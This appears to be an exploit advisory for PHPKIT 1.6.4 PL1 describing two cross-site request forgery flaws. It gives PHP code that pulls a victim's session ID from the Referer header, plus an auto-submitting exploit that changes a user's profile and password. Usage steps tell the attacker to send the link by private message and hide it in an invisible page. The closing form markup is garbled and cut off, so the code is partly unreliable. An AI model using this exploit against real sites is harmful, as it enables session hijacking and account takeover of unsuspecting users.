################################################################### PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilites founded by NBBN ################################################################### Vendor: http://www.phpkit.de/ PHPKIT sends in all link in the forum the sessionid via GET. So if an attacker send a link to a victim, for example in a private message, he have the sessionid if he filter the Referer: ************************************************************************ ******************* <?php * $ref = $_SERVER['HTTP_REFERER']; // Here is the referer * $sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32); // Now the atttacker have the sessionid. ?> * ************************************************************************ ******************* ::Vulnerabilites: There are two vulnerabilities(there more XSRF, but the principle is the same) 1) Update User Profile XSRF (don't ask for current password) 2) Create an admin XSRF 1) <?php /*###################################################################### ############################################################# PHPKIT 1.6.4 PL1 Change User-Profile Vulnerability founded by NBBN. Founded on 26th, January 2008. ######################################################################## ############################################################# With this XSRF Exploit an attacker can change the profile of an user. PHPKIT sends in all link in the cms the sessionid of the user. And in the profile, don't ask for the old password, so we can change, if we have the sessionid the users password, email etc. But where we become the sessionid? This is easy, we must only filter the referer and then submit the form. Usage: Create a php file with this code, upload it and send a pm to the victim with this link. If victim click -> profile updated. Better is to create a site an then this code in a invisible yasak içerik*/ $ref = $_SERVER['HTTP_REFERER']; // Here is the referer $sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32); ?> nLoad="jdocument.form.submit()">